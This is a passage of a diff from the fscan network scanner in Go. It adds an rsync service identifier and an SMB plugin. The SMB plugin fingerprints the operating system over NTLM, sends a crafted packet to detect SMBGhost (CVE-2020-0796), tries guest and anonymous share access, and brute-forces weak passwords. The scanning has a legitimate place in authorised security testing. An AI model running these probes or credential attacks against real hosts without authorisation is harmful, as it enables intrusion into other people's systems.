for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "@RSYNCD: EXIT") {
|
||||
break
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "@RSYNCD:") {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line, "@ERROR:") {
|
||||
hasError = true
|
||||
break
|
||||
}
|
||||
|
||||
modules = append(modules, line)
|
||||
}
|
||||
|
||||
if hasError {
|
||||
return nil
|
||||
}
|
||||
|
||||
return modules
|
||||
}
|
||||
|
||||
// identifyService Rsync服务识别
|
||||
func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn := p.connectToRsync(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("无法连接到Rsync服务"),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
timeout := config.Timeout
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte("\n")); err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "@RSYNCD") {
|
||||
lines := strings.Split(responseStr, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "@RSYNCD:") {
|
||||
banner = fmt.Sprintf("Rsync服务 (%s)", strings.TrimSpace(line))
|
||||
break
|
||||
}
|
||||
}
|
||||
if banner == "" {
|
||||
banner = "Rsync文件同步服务"
|
||||
}
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rsync",
|
||||
Error: fmt.Errorf("无法识别为Rsync服务"),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("rsync_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rsync",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rsync", func() Plugin {
|
||||
return NewRsyncPlugin()
|
||||
}, []int{873})
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
//go:build plugin_smb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// SmbPlugin 统一SMB检测插件
|
||||
// 融合了原有的 smb, smb2, smbinfo, smbghost 四个插件
|
||||
type SmbPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewSmbPlugin() *SmbPlugin {
|
||||
return &SmbPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("smb"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
target := info.Target()
|
||||
|
||||
// 检查端口
|
||||
if info.Port != 445 && info.Port != 139 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB插件仅支持139和445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 1. 协议探测和信息收集
|
||||
smbTarget, err := probeTarget(info.Host, info.Port, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smb",
|
||||
Error: fmt.Errorf("SMB协议探测失败: %w", err),
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// 输出信息收集结果
|
||||
p.logSMBInfo(target, smbTarget)
|
||||
|
||||
// 2. 漏洞检测 (仅SMBv2+且端口445)
|
||||
if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 {
|
||||
if checkSMBGhost(info.Host, config.Timeout) {
|
||||
smbTarget.Vulnerable = &SMBVuln{CVE20200796: true}
|
||||
common.LogSuccess(i18n.Tr("smbghost_vuln", target))
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只返回信息收集结果
|
||||
if config.DisableBrute {
|
||||
return p.buildInfoResult(smbTarget)
|
||||
}
|
||||
|
||||
// 3. 根据协议版本选择认证器
|
||||
auth := p.getAuthenticator(smbTarget.Protocol)
|
||||
|
||||
// 4. 未授权访问检测
|
||||
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state); result != nil && result.Success {
|
||||
var successMsg string
|
||||
if config.Credentials.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s:%s", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogSuccess(successMsg)
|
||||
return result
|
||||
}
|
||||
|
||||
// 5. 弱密码检测
|
||||
credentials := plugins.GenerateCredentials("smb", config)
|
||||
if len(credentials) == 0 {
|
||||
return p.buildInfoResult(smbTarget)
|
||||
}
|
||||
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
authFn := p.createAuthFunc(info, auth, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig)
|
||||
|
||||
if result.Success {
|
||||
var successMsg string
|
||||
if config.Credentials.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB %s %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB %s %s:%s", target, result.Username, result.Password)
|
||||
}
|
||||
common.LogSuccess(successMsg)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// getAuthenticator 根据协议版本返回认证器
|
||||
func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator {
|
||||
if protocol == SMBProtocol1 {
|
||||
return &SMB1Authenticator{}
|
||||
}
|
||||
return &SMB2Authenticator{}
|
||||
}
|
||||
|
||||
// createAuthFunc 创建认证函数
|
||||
func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
|
||||
if result.Success {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
}
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
unauthorizedCreds := []Credential{
|
||||
{Username: "", Password: ""},
|
||||
{Username: "guest", Password: ""},
|
||||
{Username: "anonymous", Password: ""},
|
||||
}
|
||||
|
||||
for _, cred := range unauthorizedCreds {
|
||||
shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
|
||||
if err == nil && len(shareInfo) > 0 {
|
||||
var output strings.Builder
|
||||
displayUser := cred.Username
|
||||
if displayUser == "" {
|
||||
displayUser = "<empty>"
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("SMB %s 匿名访问 - %s:%s", target, displayUser, cred.Password))
|
||||
for _, share := range shareInfo {
|
||||
output.WriteString(fmt.Sprintf("\n%s", share))
|
||||
}
|
||||
|
||||
common.LogSuccess(output.String())
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "smb",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "SMB匿名访问",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// logSMBInfo 输出SMB信息
|
||||
func (p *SmbPlugin) logSMBInfo(target string, info *SMBTarget) {
|
||||
msg := fmt.Sprintf("SMBInfo %s", target)
|
||||
if info.OSVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", info.OSVersion)
|
||||
}
|
||||
if info.ComputerName != "" {
|
||||
msg += fmt.Sprintf(" %s", info.ComputerName)
|
||||
}
|
||||
msg += fmt.Sprintf(" %s", info.Protocol.String())
|
||||
common.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// buildInfoResult 构建信息收集结果
|
||||
func (p *SmbPlugin) buildInfoResult(info *SMBTarget) *ScanResult {
|
||||
result := &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "smb",
|
||||
Banner: info.Summary(),
|
||||
}
|
||||
|
||||
// 如果发现漏洞,标记为漏洞类型
|
||||
if info.Vulnerable != nil && info.Vulnerable.CVE20200796 {
|
||||
result.Type = plugins.ResultTypeVuln
|
||||
result.Banner = fmt.Sprintf("%s CVE-2020-0796", info.Summary())
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("smb", func() Plugin {
|
||||
return NewSmbPlugin()
|
||||
}, []int{139, 445})
|
||||
}
|
||||
@@ -0,0 +1,951 @@
|
||||
//go:build plugin_smb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
iofs "io/fs"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
)
|
||||
|
||||
// SMBProtocol SMB协议版本
|
||||
type SMBProtocol int
|
||||
|
||||
const (
|
||||
SMBProtocolUnknown SMBProtocol = iota
|
||||
SMBProtocol1
|
||||
SMBProtocol2
|
||||
)
|
||||
|
||||
func (p SMBProtocol) String() string {
|
||||
switch p {
|
||||
case SMBProtocol1:
|
||||
return "SMBv1"
|
||||
case SMBProtocol2:
|
||||
return "SMBv2"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// SMBTarget 目标信息(一次探测,到处使用)
|
||||
type SMBTarget struct {
|
||||
Protocol SMBProtocol
|
||||
ComputerName string
|
||||
DomainName string
|
||||
OSVersion string
|
||||
NativeOS string
|
||||
NativeLM string
|
||||
NTLMFlags []string
|
||||
Vulnerable *SMBVuln
|
||||
}
|
||||
|
||||
// SMBVuln 漏洞信息
|
||||
type SMBVuln struct {
|
||||
CVE20200796 bool // SMB Ghost
|
||||
}
|
||||
|
||||
// Summary 返回SMB信息摘要
|
||||
func (t *SMBTarget) Summary() string {
|
||||
var parts []string
|
||||
parts = append(parts, t.Protocol.String())
|
||||
|
||||
if t.OSVersion != "" {
|
||||
parts = append(parts, t.OSVersion)
|
||||
}
|
||||
|
||||
if t.ComputerName != "" {
|
||||
parts = append(parts, t.ComputerName)
|
||||
}
|
||||
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// SMB协议数据包定义
|
||||
var (
|
||||
smbv1NegotiatePacket = []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
smbv1SessionSetupPacket = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
smbv2NegotiatePacket = []byte{
|
||||
0x00, 0x00, 0x00, 0x45, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
|
||||
0x00, 0x00, 0x00, 0x18, 0x01, 0x48, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,
|
||||
0xAC, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x02,
|
||||
0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32,
|
||||
0x00, 0x02, 0x53, 0x4D, 0x42, 0x20, 0x32, 0x2E, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x53, 0x4D, 0x42, 0x20, 0x32, 0x2E, 0x3F,
|
||||
0x3F, 0x3F, 0x00,
|
||||
}
|
||||
|
||||
smbv2SessionSetupPacket = []byte{
|
||||
0x00, 0x00, 0x00, 0x68, 0xFE, 0x53, 0x4D, 0x42, 0x40, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00,
|
||||
0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x10, 0x02,
|
||||
}
|
||||
|
||||
// SMB Ghost (CVE-2020-0796) 检测数据包
|
||||
smbGhostPacket = "\x00" +
|
||||
"\x00\x00\xc0" +
|
||||
"\xfeSMB@\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
||||
func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, error) {
|
||||
target := fmt.Sprintf("%s:%d", host, port)
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 首先尝试SMBv1协商
|
||||
_, err = conn.Write(smbv1NegotiatePacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv1协商包失败: %w", err)
|
||||
}
|
||||
|
||||
// 读取SMBv1协商响应
|
||||
r1, err := readSMBMessage(conn)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err))
|
||||
}
|
||||
|
||||
// 检查是否支持SMBv1
|
||||
if len(r1) > 0 {
|
||||
return probeSMBv1(conn, target, timeout)
|
||||
}
|
||||
|
||||
// SMBv2路径
|
||||
return probeSMBv2(target, timeout)
|
||||
}
|
||||
|
||||
// probeSMBv1 处理SMBv1协议信息收集
|
||||
func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget, error) {
|
||||
// 发送Session Setup请求
|
||||
_, err := conn.Write(smbv1SessionSetupPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv1 Session Setup失败: %w", err)
|
||||
}
|
||||
|
||||
ret, err := readSMBMessage(conn)
|
||||
if err != nil || len(ret) < 45 {
|
||||
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
|
||||
}
|
||||
|
||||
info := &SMBTarget{
|
||||
Protocol: SMBProtocol1,
|
||||
}
|
||||
|
||||
// 解析blob信息
|
||||
blobLength := bytesToUint16(ret[43:45])
|
||||
blobCount := bytesToUint16(ret[45:47])
|
||||
|
||||
if int(blobCount) > len(ret) {
|
||||
return info, nil
|
||||
}
|
||||
|
||||
gssNative := ret[47:]
|
||||
offNTLM := bytes.Index(gssNative, []byte("NTLMSSP"))
|
||||
if offNTLM == -1 {
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// 提取native OS和LM信息
|
||||
native := gssNative[int(blobLength):blobCount]
|
||||
ss := strings.Split(string(native), "\x00\x00")
|
||||
|
||||
if len(ss) > 0 {
|
||||
info.NativeOS = trimSMBString(ss[0])
|
||||
}
|
||||
if len(ss) > 1 {
|
||||
info.NativeLM = trimSMBString(ss[1])
|
||||
}
|
||||
|
||||
// 解析NTLM信息
|
||||
bs := gssNative[offNTLM:blobLength]
|
||||
parseNTLMChallenge(bs, info)
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// probeSMBv2 处理SMBv2协议信息收集
|
||||
func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) {
|
||||
conn2, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SMBv2连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn2.Close() }()
|
||||
|
||||
_ = conn2.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 发送SMBv2协商包
|
||||
_, err = conn2.Write(smbv2NegotiatePacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2协商包失败: %w", err)
|
||||
}
|
||||
|
||||
r2, err := readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2协商响应失败: %w", err)
|
||||
}
|
||||
|
||||
// 构建NTLM数据包
|
||||
var ntlmData []byte
|
||||
if len(r2) > 70 && hex.EncodeToString(r2[70:71]) == "03" {
|
||||
flags := []byte{0x15, 0x82, 0x08, 0xa0}
|
||||
ntlmData = buildNTLMSSPData(flags)
|
||||
} else {
|
||||
flags := []byte{0x05, 0x80, 0x08, 0xa0}
|
||||
ntlmData = buildNTLMSSPData(flags)
|
||||
}
|
||||
|
||||
// 发送Session Setup
|
||||
_, err = conn2.Write(smbv2SessionSetupPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2 Session Setup失败: %w", err)
|
||||
}
|
||||
|
||||
_, err = readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2 Session Setup响应失败: %w", err)
|
||||
}
|
||||
|
||||
// 发送NTLM协商包
|
||||
_, err = conn2.Write(ntlmData)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2 NTLM包失败: %w", err)
|
||||
}
|
||||
|
||||
ret, err := readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2 NTLM响应失败: %w", err)
|
||||
}
|
||||
|
||||
ntlmOff := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if ntlmOff == -1 {
|
||||
return &SMBTarget{Protocol: SMBProtocol2}, nil
|
||||
}
|
||||
|
||||
info := &SMBTarget{
|
||||
Protocol: SMBProtocol2,
|
||||
}
|
||||
|
||||
parseNTLMChallenge(ret[ntlmOff:], info)
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// checkSMBGhost 检测CVE-2020-0796漏洞
|
||||
func checkSMBGhost(host string, timeout time.Duration) bool {
|
||||
addr := fmt.Sprintf("%s:445", host)
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if _, err = conn.Write([]byte(smbGhostPacket)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
buff := make([]byte, 1024)
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检测CVE-2020-0796特征
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// SMBAuthenticator 统一认证接口
|
||||
type SMBAuthenticator interface {
|
||||
Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error)
|
||||
ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error)
|
||||
}
|
||||
|
||||
// SMB1Authenticator SMB1认证器
|
||||
type SMB1Authenticator struct{}
|
||||
|
||||
// Authenticate 执行SMB1认证
|
||||
func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
|
||||
options := smb.Options{
|
||||
Host: host,
|
||||
Port: port,
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err != nil {
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMBError(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if session.IsAuthenticated {
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &smb1SessionWrapper{session},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
} else {
|
||||
session.Close()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败:用户名或密码错误"),
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result, nil
|
||||
case <-timeoutCtx.Done():
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
